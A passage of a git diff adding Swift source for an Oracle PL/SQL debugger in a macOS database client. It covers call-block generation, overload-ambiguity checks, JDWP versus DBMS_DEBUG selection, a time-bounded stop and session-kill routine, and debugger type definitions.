+                    throw InvocationError.unsupportedArgument(name: parameter.name, typeName: parameter.displayType)
+                }
+                prologue.append("  \(local) := \(expression);")
+            }
+            callArguments.append("\(OracleDebugUnit.quote(parameter.name)) => \(local)")
+            if parameter.mode != .input, let text = parameter.textExpression(of: local) {
+                outputs.append((parameter.name, text))
+            }
+        }
+
+        var target = OracleDebugUnit.quote(entryPoint.entry.unit.owner)
+        if entryPoint.entry.isPackaged {
+            target += "." + OracleDebugUnit.quote(entryPoint.entry.unit.name)
+        }
+        target += "." + OracleDebugUnit.quote(entryPoint.entry.subprogram)
+        let call = callArguments.isEmpty ? target : "\(target)(\(callArguments.joined(separator: ", ")))"
+
+        var statement = "\(call);"
+        if let result = entryPoint.result {
+            guard let declaration = result.declaration else {
+                throw InvocationError.undeclarableResult(typeName: result.displayType)
+            }
+            declarations.append("  l_result \(declaration);")
+            statement = "l_result := \(call);"
+            if let text = result.textExpression(of: "l_result") {
+                outputs.insert((entryPoint.entry.subprogram, text), at: 0)
+            }
+        }
+
+        let outputLines = outputs.map { "      put(\(OracleDebugUnit.literal($0.name)));\n      put(\($0.expression));" }
+        let block = """
+            DECLARE
+              l_failed BOOLEAN := FALSE;
+              l_error VARCHAR2(32767);
+              l_line VARCHAR2(32767);
+              l_status INTEGER;
+              l_lines PLS_INTEGER := 0;
+            \(declarations.joined(separator: "\n"))
+            \(OracleDebugPayload.declarations)
+            BEGIN
+            \(prologue.joined(separator: "\n"))
+              BEGIN
+                \(statement)
+              EXCEPTION
+                WHEN OTHERS THEN
+                  l_failed := TRUE;
+                  l_error := SQLERRM;
+              END;
+              IF l_failed THEN
+                put('F');
+                put(l_error);
+                put('0');
+              ELSE
+                put('S');
+                put(NULL);
+                put('\(outputs.count)');
+            \(outputLines.joined(separator: "\n"))
+              END IF;
+              LOOP
+                EXIT WHEN l_lines >= \(maxOutputLines);
+                EXECUTE IMMEDIATE 'CALL SYS.DBMS_OUTPUT.GET_LINE(:1, :2)' USING OUT l_line, OUT l_status;
+                EXIT WHEN l_status <> 0;
+                put(l_line);
+                l_lines := l_lines + 1;
+              END LOOP;
+            \(OracleDebugPayload.openCursor)
+            END;
+            """
+        return Invocation(block: block, binds: binds)
+    }
+
+    public enum Ambiguity: Sendable, Equatable {
+        // Leaving these parameters at their defaults leaves nothing to tell this overload from another.
+        case needsValue([String])
+        // The call matches another overload whatever values are given (PLS-00307).
+        case unresolvable
+    }
+
+    // Oracle picks an overload by the named arguments it is given, so leaving out defaulted ones can leave two
+    // overloads that both fit, and the call fails with PLS-00307 (`p(x NUMBER DEFAULT 1)` and
+    // `p(x VARCHAR2 DEFAULT 'a')`, both started with the default). ALL_ARGUMENTS cannot give the default's value to
+    // pass instead, so the person has to give one.
+    public static func ambiguity(
+        of entryPoint: OracleDebugEntryPoint,
+        arguments: [String: OracleDebugArgumentValue],
+        overloads: [OracleDebugEntryPoint]
+    ) -> Ambiguity? {
+        func value(of parameter: OracleDebugParameter) -> OracleDebugArgumentValue {
+            arguments[parameter.name] ?? (parameter.hasDefault ? .defaultValue : .null)
+        }
+        let omitted = entryPoint.parameters.filter { $0.mode == .input && $0.hasDefault && value(of: $0) == .defaultValue }
+        let passed = entryPoint.parameters.filter { parameter in !omitted.contains { $0.name == parameter.name } }
+        for other in overloads where other.entry.unit == entryPoint.entry.unit
+            && other.entry.subprogram == entryPoint.entry.subprogram
+            && other.entry.subprogramID != entryPoint.entry.subprogramID
+            && (other.result == nil) == (entryPoint.result == nil) {
+            let takesEveryPassed = passed.allSatisfy { parameter in
+                other.parameters.contains { $0.name == parameter.name && $0.declaration == parameter.declaration }
+            }
+            let needsNothingElse = other.parameters.allSatisfy { parameter in
+                passed.contains { $0.name == parameter.name } || (parameter.mode == .input && parameter.hasDefault)
+            }
+            guard takesEveryPassed, needsNothingElse else { continue }
+            let distinguishing = omitted.filter { parameter in
+                !other.parameters.contains { $0.name == parameter.name && $0.declaration == parameter.declaration }
+            }
+            return distinguishing.isEmpty ? .unresolvable : .needsValue(distinguishing.map(\.name))
+        }
+        return nil
+    }
+
+    public struct InvocationReport: Sendable, Equatable {
+        public let succeeded: Bool
+        public let error: String?
+        public let outputs: [(name: String, value: String?)]
+        public let lines: [String]
+
+        public static func == (lhs: InvocationReport, rhs: InvocationReport) -> Bool {
+            lhs.succeeded == rhs.succeeded && lhs.error == rhs.error && lhs.lines == rhs.lines
+                && lhs.outputs.map(\.name) == rhs.outputs.map(\.name)
+                && lhs.outputs.map(\.value) == rhs.outputs.map(\.value)
+        }
+    }
+
+    public static func invocationReport(fromPayload fields: [String?]) throws -> InvocationReport {
+        var reader = OracleDebugPayloadReader(fields)
+        let status = try reader.next()
+        let error = try reader.next()
+        let count = try reader.int() ?? 0
+        var outputs: [(name: String, value: String?)] = []
+        for _ in 0..<max(count, 0) {
+            let name = try reader.next() ?? ""
+            outputs.append((name, try reader.next()))
+        }
+        var lines: [String] = []
+        while !reader.isAtEnd {
+            lines.append(try reader.next() ?? "")
+        }
+        return InvocationReport(succeeded: status == "S", error: error, outputs: outputs, lines: lines)
+    }
+}
+
+public enum OracleDebugArgumentValue: Sendable, Hashable {
+    case text(String)
+    case null
+    case defaultValue
+}
+
+public struct OracleDebugEntryPoint: Sendable, Hashable {
+    public let entry: OracleDebugEntry
+    public let overload: String?
+    public let parameters: [OracleDebugParameter]
+    public let result: OracleDebugParameter?
+
+    public init(entry: OracleDebugEntry, overload: String?, parameters: [OracleDebugParameter], result: OracleDebugParameter?) {
+        self.entry = entry
+        self.overload = overload
+        self.parameters = parameters
+        self.result = result
+    }
+
+    public var displayName: String {
+        let list = parameters.map { "\($0.name) \($0.displayType)" }.joined(separator: ", ")
+        var text = parameters.isEmpty ? entry.subprogram : "\(entry.subprogram)(\(list))"
+        if let result {
+            text += " RETURN \(result.displayType)"
+        }
+        return text
+    }
+}
+
+public struct OracleDebugParameter: Sendable, Hashable {
+    public enum Mode: Sendable, Hashable {
+        case input
+        case output
+        case inputOutput
+
+        init(inOut: String?) {
+            switch inOut?.uppercased() {
+            case "OUT": self = .output
+            case "IN/OUT", "IN OUT": self = .inputOutput
+            default: self = .input
+            }
+        }
+    }
+
+    public let name: String
+    public let position: Int
+    public let dataType: String
+    public let mode: Mode
+    public let hasDefault: Bool
+    public let typeOwner: String?
+    public let typeName: String?
+    public let typeSubname: String?
+    public let plsType: String?
+
+    public init(
+        name: String,
+        position: Int,
+        dataType: String,
+        mode: Mode,
+        hasDefault: Bool,
+        typeOwner: String? = nil,
+        typeName: String? = nil,
+        typeSubname: String? = nil,
+        plsType: String? = nil
+    ) {
+        self.name = name
+        self.position = position
+        self.dataType = dataType
+        self.mode = mode
+        self.hasDefault = hasDefault
+        self.typeOwner = typeOwner
+        self.typeName = typeName
+        self.typeSubname = typeSubname
+        self.plsType = plsType
+    }
+
+    private var qualifiedTypeName: String? {
+        guard let typeName, !typeName.isEmpty else { return nil }
+        return [typeOwner, typeName, typeSubname].compactMap { part in
+            guard let part, !part.isEmpty else { return nil }
+            return part
+        }.joined(separator: ".")
+    }
+
+    public var displayType: String {
+        if let plsType, !plsType.isEmpty { return plsType }
+        if let qualified = qualifiedTypeName { return qualified }
+        return dataType
+    }
+
+    enum Scalar {
+        case text
+        case nationalText
+        case number
+        case date
+        case timestamp(String)
+        case interval(String)
+        case raw
+        case characterLOB
+        case binaryLOB
+        case rowID
+        case bfile
+        case boolean
+    }
+
+    var scalar: Scalar? {
+        let type = dataType.uppercased()
+        switch type {
+        case "VARCHAR2", "VARCHAR", "CHAR", "LONG", "STRING": return .text
+        case "NVARCHAR2", "NCHAR": return .nationalText
+        case "NUMBER", "FLOAT", "INTEGER", "BINARY_INTEGER", "PLS_INTEGER", "BINARY_FLOAT", "BINARY_DOUBLE",
+             "PL/SQL PLS INTEGER", "PL/SQL BINARY INTEGER", "NATURAL", "NATURALN", "POSITIVE", "POSITIVEN", "SIMPLE_INTEGER":
+            return .number
+        case "DATE": return .date
+        case "TIMESTAMP": return .timestamp("TIMESTAMP(9)")
+        case "TIMESTAMP WITH TIME ZONE": return .timestamp("TIMESTAMP(9) WITH TIME ZONE")
+        case "TIMESTAMP WITH LOCAL TIME ZONE": return .timestamp("TIMESTAMP(9) WITH LOCAL TIME ZONE")
+        case "INTERVAL YEAR TO MONTH": return .interval("INTERVAL YEAR(9) TO MONTH")
+        case "INTERVAL DAY TO SECOND": return .interval("INTERVAL DAY(9) TO SECOND(9)")
+        case "RAW", "LONG RAW": return .raw
+        case "CLOB": return .characterLOB
+        case "NCLOB": return .characterLOB
+        case "BLOB": return .binaryLOB
+        case "ROWID", "UROWID": return .rowID
+        case "BFILE": return .bfile
+        case "PL/SQL BOOLEAN", "BOOLEAN": return .boolean
+        default: return nil
+        }
+    }
+
+    public var declaration: String? {
+        if let scalar {
+            switch scalar {
+            case .text: return "VARCHAR2(32767)"
+            case .nationalText: return "NVARCHAR2(16383)"
+            case .number:
+                return numberDeclaration
+            case .date: return "DATE"
+            case .timestamp(let declaration), .interval(let declaration): return declaration
+            case .raw: return "RAW(32767)"
+            case .characterLOB: return dataType.uppercased() == "NCLOB" ? "NCLOB" : "CLOB"
+            case .binaryLOB: return "BLOB"
+            case .rowID: return "UROWID"
+            case .bfile: return "BFILE"
+            case .boolean: return "BOOLEAN"
+            }
+        }
+        if dataType.uppercased() == "REF CURSOR" { return "SYS_REFCURSOR" }
+        guard let typeName, !typeName.isEmpty else { return nil }
+        return [typeOwner, typeName, typeSubname].compactMap { part -> String? in
+            guard let part, !part.isEmpty else { return nil }
+            return OracleDebugUnit.quote(part)
+        }.joined(separator: ".")
+    }
+
+    // An integer subtype with NOT NULL or a range cannot be declared bare; PLS_INTEGER holds every one of them.
+    private var numberDeclaration: String {
+        switch (plsType ?? dataType).uppercased() {
+        case "BINARY_FLOAT": return "BINARY_FLOAT"
+        case "BINARY_DOUBLE": return "BINARY_DOUBLE"
+        case "PLS_INTEGER", "BINARY_INTEGER", "PL/SQL PLS INTEGER", "PL/SQL BINARY INTEGER", "NATURAL", "NATURALN",
+             "POSITIVE", "POSITIVEN", "SIMPLE_INTEGER", "SIGNTYPE":
+            return "PLS_INTEGER"
+        default: return "NUMBER"
+        }
+    }
+
+    // The text the person typed, converted explicitly to the parameter's type in the session's NLS formats.
+    func inputExpression(bindReference: String) -> String? {
+        guard let scalar else { return nil }
+        switch scalar {
+        case .text: return bindReference
+        case .nationalText: return "TO_NCHAR(\(bindReference))"
+        case .number:
+            switch numberDeclaration {
+            case "BINARY_FLOAT": return "TO_BINARY_FLOAT(\(bindReference))"
+            case "BINARY_DOUBLE": return "TO_BINARY_DOUBLE(\(bindReference))"
+            default: return "TO_NUMBER(\(bindReference))"
+            }
+        case .date: return "TO_DATE(\(bindReference))"
+        case .timestamp(let declaration):
+            return declaration.hasSuffix("WITH TIME ZONE") && !declaration.contains("LOCAL")
+                ? "TO_TIMESTAMP_TZ(\(bindReference))"
+                : "TO_TIMESTAMP(\(bindReference))"
+        case .interval(let declaration):
+            return declaration.hasPrefix("INTERVAL YEAR") ? "TO_YMINTERVAL(\(bindReference))" : "TO_DSINTERVAL(\(bindReference))"
+        case .raw: return "HEXTORAW(\(bindReference))"
+        case .characterLOB: return dataType.uppercased() == "NCLOB" ? "TO_NCLOB(\(bindReference))" : "TO_CLOB(\(bindReference))"
+        case .binaryLOB: return nil
+        case .rowID: return "CHARTOROWID(\(bindReference))"
+        case .bfile: return nil
+        case .boolean:
+            return "CASE UPPER(TRIM(\(bindReference))) WHEN 'TRUE' THEN TRUE WHEN 'FALSE' THEN FALSE "
+                + "WHEN '1' THEN TRUE WHEN '0' THEN FALSE END"
+        }
+    }
+
+    func textExpression(of variable: String) -> String? {
+        guard let scalar else { return nil }
+        switch scalar {
+        case .text, .nationalText: return "TO_CHAR(\(variable))"
+        case .number, .date, .timestamp, .interval: return "TO_CHAR(\(variable))"
+        case .raw: return "RAWTOHEX(\(variable))"
+        case .characterLOB: return "TO_CHAR(SUBSTR(\(variable), 1, \(OracleDebugPayload.fieldLimit)))"
+        case .binaryLOB: return nil
+        case .rowID: return "ROWIDTOCHAR(\(variable))"
+        case .bfile: return nil
+        case .boolean: return "CASE WHEN \(variable) THEN 'TRUE' WHEN NOT \(variable) THEN 'FALSE' END"
+        }
+    }
+}
+
+// Which interface to try first, and what to do when JDWP cannot connect: Oracle SQL Developer's model, where the
+// database connects back over JDWP and DBMS_DEBUG covers networks that block it.
+public enum OracleDebugProtocolPreference: String, Sendable, CaseIterable {
+    case automatic
+    case jdwp
+    case dbmsDebug
+
+    public static let fieldID = "oracleDebugProtocol"
+    public static let hostFieldID = "oracleDebuggerHost"
+    public static let portsFieldID = "oracleDebuggerPorts"
+}
+
+public enum OracleDebugProtocolDecision: Sendable, Equatable {
+    case jdwp
+    case dbmsDebug(OracleDebugProbeReason)
+    case fallBack
+    case fail
+
+    public static func initial(preference: OracleDebugProtocolPreference, host: String) -> OracleDebugProtocolDecision {
+        switch preference {
+        case .dbmsDebug:
+            return .dbmsDebug(.chosen)
+        case .jdwp:
+            // Without a host CONNECT_TCP has nowhere to connect; say so before any session opens.
+            return host.trimmingCharacters(in: .whitespaces).isEmpty ? .fail : .jdwp
+        case .automatic:
+            return host.trimmingCharacters(in: .whitespaces).isEmpty ? .dbmsDebug(.noDebuggerHost) : .jdwp
+        }
+    }
+
+    // DBMS_DEBUG needs the same DEBUG CONNECT SESSION, so a privilege failure is final; so is anything unrecognized.
+    public static func afterJDWPFailure(
+        _ failure: OracleJDWPFailure,
+        preference: OracleDebugProtocolPreference
+    ) -> OracleDebugProtocolDecision {
+        guard preference == .automatic else { return .fail }
+        switch failure {
+        case .accessControlList, .unreachable, .packageUnavailable, .timedOut, .noFreePort, .handshakeFailed, .unexpectedPeer:
+            return .fallBack
+        case .missingPrivilege, .noDebuggerHost, .other:
+            return .fail
+        }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift
new file mode 100644
index 0000000000..d973007ed7
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift
@@ -0,0 +1,37 @@
+import Foundation
+
+// `stop()` returns within 3 seconds: the host closes the session's transport 5 seconds after asking, and over a tunnel
+// nothing reaches the server after that.
+public enum OracleDebugStopBudget {
+    public static let total: Duration = .seconds(3)
+    // Kept back from the total for the rollback and detach that follow the target's end.
+    public static let cleanup: Duration = .milliseconds(500)
+
+    public enum KillOutcome: Sendable, Equatable {
+        // ORA-00031 "session marked for kill": the server ends the session at its next check (measured within a second).
+        case marked
+        // ORA-01031 without ALTER SYSTEM, or no SERIAL# to name the session.
+        case refused
+    }
+
+    // A DBMS_DEBUG target running between breakpoints reads nothing the supervisor sends, so the kill goes first, with
+    // no grace period; what is left of the budget waits for the end, which a refused kill leaves to the routine itself.
+    static func endRunningTarget<C: Clock>(
+        isolation: isolated (any Actor)? = #isolation,
+        clock: C,
+        budget: Duration = total - cleanup,
+        kill: () async -> KillOutcome,
+        waitForEnd: (Duration) async -> Bool
+    ) async -> Bool where C.Duration == Duration {
+        let deadline = clock.now.advanced(by: budget)
+        _ = await kill()
+        let remaining = clock.now.duration(to: deadline)
+        guard remaining > .zero else { return false }
+        return await waitForEnd(remaining)
+    }
+
+    static func seconds(_ duration: Duration) -> Double {
+        let components = duration.components
+        return Double(components.seconds) + Double(components.attoseconds) / 1e18
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift
new file mode 100644
index 0000000000..c15b5ac656
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift
@@ -0,0 +1,177 @@
+import Foundation
+import os
+
+enum OracleDebugSupport {
+    // Waits for `task` for at most `seconds`; nil when it is still running. The task keeps running either way.
+    static func value<T: Sendable>(of task: Task<T, Never>, within seconds: Double) async -> T? {
+        let slot = OSAllocatedUnfairLock<CheckedContinuation<T?, Never>?>(initialState: nil)
+        let take: @Sendable () -> CheckedContinuation<T?, Never>? = {
+            slot.withLock { stored in
+                let continuation = stored
+                stored = nil
+                return continuation
+            }
+        }
+        return await withCheckedContinuation { continuation in
+            slot.withLock { $0 = continuation }
+            Task {
+                let value = await task.value
+                take()?.resume(returning: value)
+            }
+            Task {
+                try? await Task.sleep(nanoseconds: OracleQueryTimeout.nanoseconds(seconds))
+                take()?.resume(returning: nil)
+            }
+        }
+    }
+
+    // The call ending proves the target session ended only when the server answered it: the call returned, or failed
+    // with an ORA- error the server sent. A call that failed because its own transport did (a dropped connection, a
+    // closed tunnel) may have left that session running in the server and holding its locks.
+    static func endedOnServer(_ result: Result<[String?], Error>) -> Bool {
+        guard case .failure(let error) = result else { return true }
+        if case .server(let code, _) = error as? OracleDebugError {
+            return code != nil
+        }
+        guard case .queryFailed(let message) = error as? OracleCoreError else { return false }
+        return !OracleDebugStatements.errorCodes(in: message).isEmpty
+    }
+
+    // False while the call runs past `seconds`, and for a call that ended without the server's answer.
+    static func endedOnServer(_ call: Task<Result<[String?], Error>, Never>, within seconds: Double) async -> Bool {
+        await value(of: call, within: seconds).map(endedOnServer) ?? false
+    }
+
+    static func rows(_ result: OracleRawResult) -> [[String?]] {
+        result.rows.map { row in row.map(\.stringValue) }
+    }
+
+    static func source(of unit: OracleDebugUnit, on connection: any OracleDebugChannel) async throws -> String {
+        let result = try await connection.executeQuery(OracleDebugStatements.source(of: unit))
+        let lines = rows(result).compactMap { row -> (line: Int, text: String?)? in
+            guard let line = row.first.flatMap({ $0 }).flatMap({ Int($0.trimmingCharacters(in: .whitespaces)) })
+            else { return nil }
+            return (line, row.count > 1 ? row[1] : nil)
+        }
+        guard !lines.isEmpty else { throw OracleDebugError.unitNotFound }
+        return OracleDebugStatements.assembleSource(rows: lines)
+    }
+
+    static func executableLines(of unit: OracleDebugUnit, on connection: any OracleDebugChannel) async throws -> [Int]? {
+        let fields = try await payload(OracleDBMSDebugStatements.lineMap(of: unit), on: connection)
+        return try OracleDBMSDebugStatements.executableLines(fromPayload: fields)
+    }
+
+    static func payload(
+        _ block: String,
+        binds: [OracleBindValue] = [],
+        autoCommit: Bool = false,
+        on connection: any OracleDebugChannel
+    ) async throws -> [String?] {
+        let pieces = try await connection.executeDirect(block, binds: binds, autoCommit: autoCommit, readsRows: true)
+        do {
+            return try OracleDebugPayload.parse(OracleDebugPayload.join(pieces: pieces))
+        } catch {
+            throw OracleDebugError.unreadableAnswer
+        }
+    }
+
+    // How long the routine's call gets to return once the debugger has seen it end or lost the target.
+    static let callEndWait: Duration = .seconds(30)
+
+    // The routine's own result: its outputs on success; a rollback otherwise, and always after Stop. Nil is a call
+    // still running, which holds the target's gate: a ROLLBACK would queue behind it with no bound.
+    static func conclude(
+        _ result: Result<[String?], Error>?,
+        stopped: Bool,
+        entryPoint: OracleDebugEntryPoint,
+        target: any OracleDebugChannel,
+        targetIdentity: OracleDebugSessionIdentity?,
+        notice: @Sendable (OracleDebugNotice) -> Void
+    ) async -> OracleDebugStop {
+        guard let result else { return .failed(.stillRunning(targetIdentity)) }
+        let report: OracleDebugStatements.InvocationReport?
+        switch result {
+        case .success(let pieces):
+            report = try? OracleDebugStatements.invocationReport(
+                fromPayload: OracleDebugPayload.parse(OracleDebugPayload.join(pieces: pieces))
+            )
+        case .failure:
+            report = nil
+        }
+        for line in report?.lines ?? [] {
+            notice(.serverOutput(line))
+        }
+        if !stopped, let report, report.succeeded {
+            do {
+                _ = try await target.executeDirect("COMMIT")
+            } catch {
+                return .failed(.connectionLost(Self.message(of: error)))
+            }
+            return .finished(outcome(of: report, entryPoint: entryPoint))
+        }
+        _ = try? await target.executeDirect("ROLLBACK")
+        if stopped { return .failed(.stopped) }
+        if let report {
+            return .failed(.routineFailed(report.error ?? ""))
+        }
+        if case .failure(let error) = result {
+            // Only the server's own error says the routine failed and rolled back; a dropped connection says neither.
+            guard endedOnServer(result) else { return .failed(.connectionLost(Self.message(of: error))) }
+            return .failed(.routineFailed(Self.message(of: error)))
+        }
+        return .failed(.connectionLost(nil))
+    }
+
+    static func outcome(of report: OracleDebugStatements.InvocationReport, entryPoint: OracleDebugEntryPoint) -> OracleDebugOutcome {
+        var types: [String: String] = [:]
+        for parameter in entryPoint.parameters {
+            types[parameter.name] = parameter.displayType
+        }
+        if let result = entryPoint.result {
+            types[entryPoint.entry.subprogram] = result.displayType
+        }
+        return OracleDebugOutcome(values: report.outputs.map {
+            OracleDebugOutcome.Value(name: $0.name, typeName: types[$0.name] ?? "", value: $0.value)
+        })
+    }
+
+    // The target's SID and SERIAL#, read before it is attached to a debugger, so its own PL/SQL does not stop it.
+    static func sessionIdentity(of connection: any OracleDebugChannel) async -> OracleDebugSessionIdentity? {
+        for query in OracleDBMSDebugStatements.sessionIdentityQueries {
+            guard let row = try? await connection.executeQuery(query).rows.first?.map(\.stringValue),
+                  let identity = OracleDBMSDebugStatements.sessionIdentity(fromRow: row) else { continue }
+            return identity
+        }
+        return nil
+    }
+
+    // The server ends a killed session at its next check, even inside a loop or a SQL statement, and rolls its work
+    // back. ORA-00031 "session marked for kill" is that taking effect on a busy session (measured: the target then
+    // failed with ORA-00028); ORA-01031 is a session without ALTER SYSTEM.
+    // A read Stop overlaps holds the connection's gate first; past `seconds` the channel is closed, which ends both.
+    static func kill(
+        _ identity: OracleDebugSessionIdentity?,
+        from connection: any OracleDebugChannel,
+        within seconds: Double
+    ) async -> OracleDebugStopBudget.KillOutcome {
+        guard let identity, let statement = OracleDBMSDebugStatements.killSession(identity), seconds > 0 else {
+            return .refused
+        }
+        do {
+            _ = try await withOracleTimeout(seconds: seconds, onTimeout: { connection.cancelCurrentQuery() }) {
+                try await connection.executeDirect(statement)
+            }
+            return .marked
+        } catch {
+            return OracleDebugStatements.errorCodes(in: message(of: error)).contains(31) ? .marked : .refused
+        }
+    }
+
+    static func message(of error: Error) -> String {
+        if let core = error as? OracleCoreError {
+            return core.errorDescription ?? String(describing: core)
+        }
+        return String(describing: error)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift
new file mode 100644
index 0000000000..357e646788
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift
@@ -0,0 +1,181 @@
+import Foundation
+
+public enum OracleDebugMechanism: String, Sendable, Hashable, CaseIterable {
+    case jdwp
+    case dbmsDebug
+}
+
+public enum OracleDebugCommand: Sendable, Hashable {
+    case continueExecution
+    case stepOver
+    case stepInto
+    case stepOut
+}
+
+public struct OracleDebugLocation: Sendable, Hashable {
+    public let unit: OracleDebugUnit
+    public let line: Int
+
+    public init(unit: OracleDebugUnit, line: Int) {
+        self.unit = unit
+        self.line = line
+    }
+}
+
+public struct OracleDebugOutcome: Sendable, Equatable {
+    public struct Value: Sendable, Equatable {
+        public let name: String
+        public let typeName: String
+        public let value: String?
+
+        public init(name: String, typeName: String, value: String?) {
+            self.name = name
+            self.typeName = typeName
+            self.value = value
+        }
+    }
+
+    // The function's result first, then each OUT and IN OUT parameter whose value can be shown as text.
+    public let values: [Value]
+
+    public init(values: [Value]) {
+        self.values = values
+    }
+}
+
+public enum OracleDebugStop: Sendable, Equatable {
+    case paused(OracleDebugLocation)
+    case finished(OracleDebugOutcome)
+    case failed(OracleDebugFailure)
+}
+
+public enum OracleDebugFailure: Sendable, Equatable {
+    // The routine raised; the server's own message.
+    case routineFailed(String)
+    case stopped
+    // Stop could not end a routine running between breakpoints under DBMS_DEBUG; it ends on its own.
+    case stillRunning(OracleDebugSessionIdentity?)
+    case connectionLost(String?)
+}
+
+public enum OracleDebugStopResult: Sendable, Equatable {
+    // The routine's call ended, so its uncommitted work is rolled back and its locks are gone.
+    case ended
+    // Nothing confirmed the end inside the budget; the session may still run and hold locks.
+    case unconfirmed(OracleDebugSessionIdentity?)
+}
+
+public struct OracleDebugSessionIdentity: Sendable, Hashable {
+    public let sid: Int
+    public let serial: Int?
+    // On RAC a SID and SERIAL# name a session only within its instance, and the kill may go through another one.
+    public let instance: Int?
+
+    public init(sid: Int, serial: Int?, instance: Int? = nil) {
+        self.sid = sid
+        self.serial = serial
+        self.instance = instance
+    }
+}
+
+public struct OracleDebugFrame: Sendable, Hashable {
+    public let level: Int
+    public let location: OracleDebugLocation
+    public let subprogram: String?
+
+    public init(level: Int, location: OracleDebugLocation, subprogram: String?) {
+        self.level = level
+        self.location = location
+        self.subprogram = subprogram
+    }
+}
+
+public enum OracleDebugVariableKind: Sendable, Hashable {
+    case argument
+    case local
+    case package
+}
+
+public struct OracleDebugVariable: Sendable, Hashable {
+    public let name: String
+    public let kind: OracleDebugVariableKind
+    public let typeName: String?
+    public let value: OracleDebugValue
+    public let isConstant: Bool
+
+    public init(name: String, kind: OracleDebugVariableKind, typeName: String?, value: OracleDebugValue, isConstant: Bool) {
+        self.name = name
+        self.kind = kind
+        self.typeName = typeName
+        self.value = value
+        self.isConstant = isConstant
+    }
+}
+
+// Things the person should read in the debugger's output: the engine says what happened, the plugin words it.
+public enum OracleDebugNotice: Sendable, Equatable {
+    case connectedOverJDWP(host: String, port: Int)
+    case fellBack(OracleJDWPFailure, host: String, port: Int)
+    case usingDBMSDebug(reason: OracleDebugProbeReason)
+    case breakpointHasNoCode(unit: OracleDebugUnit, line: Int)
+    case breakpointMoved(unit: OracleDebugUnit, from: Int, to: Int)
+    case serverOutput(String)
+}
+
+public enum OracleDebugProbeReason: Sendable, Equatable {
+    case chosen
+    case noDebuggerHost
+}
+
+public enum OracleDebugError: Error, Sendable, Equatable {
+    case privilegeMissing(String)
+    case server(code: Int?, message: String)
+    case jdwp(OracleJDWPFailure)
+    case notPaused
+    case ended
+    case unsupportedArgument(name: String, typeName: String)
+    case undeclarableArgument(name: String, typeName: String)
+    // Leaving these defaulted parameters out would match another overload of the subprogram too.
+    case ambiguousDefaults(subprogram: String, parameters: [String])
+    case ambiguousCall(subprogram: String)
+    // A JDWP command the database answered with an error code.
+    case debuggerRefused(code: Int)
+    // A DBMS_DEBUG answer that does not parse.
+    case unreadableAnswer
+    case unitNotFound
+    case malformedReply
+    // A JDWP command got no answer within the reply timeout; the connection, and with it the target, was closed.
+    case debuggerStoppedAnswering
+}
+
+// Why the database did not connect back over JDWP. Each but `missingPrivilege` and `other` falls back to DBMS_DEBUG.
+public enum OracleJDWPFailure: Sendable, Equatable {
+    case accessControlList
+    case unreachable(String)
+    case packageUnavailable
+    case timedOut
+    case noFreePort
+    case handshakeFailed
+    // Explicit DBMS_DEBUG_JDWP with an empty Debugger Host.
+    case noDebuggerHost
+    // Connections came only from these addresses, none of them the database server's.
+    case unexpectedPeer([String])
+    case missingPrivilege
+    case other(String)
+}
+
+public protocol OracleDebugEngine: AnyObject, Sendable {
+    var mechanism: OracleDebugMechanism { get }
+    var supportsStepOut: Bool { get }
+    var notices: AsyncStream<OracleDebugNotice> { get }
+    func firstStop() async throws -> OracleDebugStop
+    func perform(_ command: OracleDebugCommand) async throws -> OracleDebugStop
+    func stack() async throws -> [OracleDebugFrame]
+    func variables(inFrame level: Int) async throws -> [OracleDebugVariable]
+    // The line the breakpoint landed on, or nil when the unit has no code there.
+    func setBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int?
+    func removeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws
+    func source(of unit: OracleDebugUnit) async throws -> String
+    // Returns within 3 seconds, whatever call it overlaps; that call then ends promptly.
+    func stop() async -> OracleDebugStopResult
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift
new file mode 100644
index 0000000000..cb4194bdec
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift
@@ -0,0 +1,187 @@
+import Foundation
+
+public enum OracleDebugUnitKind: String, Sendable, Hashable, CaseIterable {
+    case procedure = "PROCEDURE"
+    case function = "FUNCTION"
+    case package = "PACKAGE"
+    case packageBody = "PACKAGE BODY"
+    case trigger = "TRIGGER"
+    case type = "TYPE"
+    case typeBody = "TYPE BODY"
+
+    // The middle of `$Oracle/<Kind>/<OWNER>/<NAME>`. Package, PackageBody, Procedure and Function are measured on
+    // 23.26; Trigger, Type and TypeBody follow the same naming and are not.
+    public var jdwpKind: String {
+        switch self {
+        case .procedure: return "Procedure"
+        case .function: return "Function"
+        case .package: return "Package"
+        case .packageBody: return "PackageBody"
+        case .trigger: return "Trigger"
+        case .type: return "Type"
+        case .typeBody: return "TypeBody"
+        }
+    }
+
+    public init?(jdwpKind: String) {
+        guard let kind = Self.allCases.first(where: { $0.jdwpKind == jdwpKind }) else { return nil }
+        self = kind
+    }
+
+    // DBMS_DEBUG namespaces: 1 holds specs and top-level units, 2 bodies, 3 triggers.
+    public var namespace: Int {
+        switch self {
+        case .procedure, .function, .package, .type: return 1
+        case .packageBody, .typeBody: return 2
+        case .trigger: return 3
+        }
+    }
+
+    // DBMS_DEBUG's LibunitType values (the KGLT constants).
+    public init?(namespace: Int, libunitType: Int) {
+        switch (namespace, libunitType) {
+        case (1, 7): self = .procedure
+        case (1, 8): self = .function
+        case (1, 9): self = .package
+        case (1, 13): self = .type
+        case (2, 11): self = .packageBody
+        case (2, 14): self = .typeBody
+        case (3, _): self = .trigger
+        default: return nil
+        }
+    }
+
+    public var hasSubprograms: Bool {
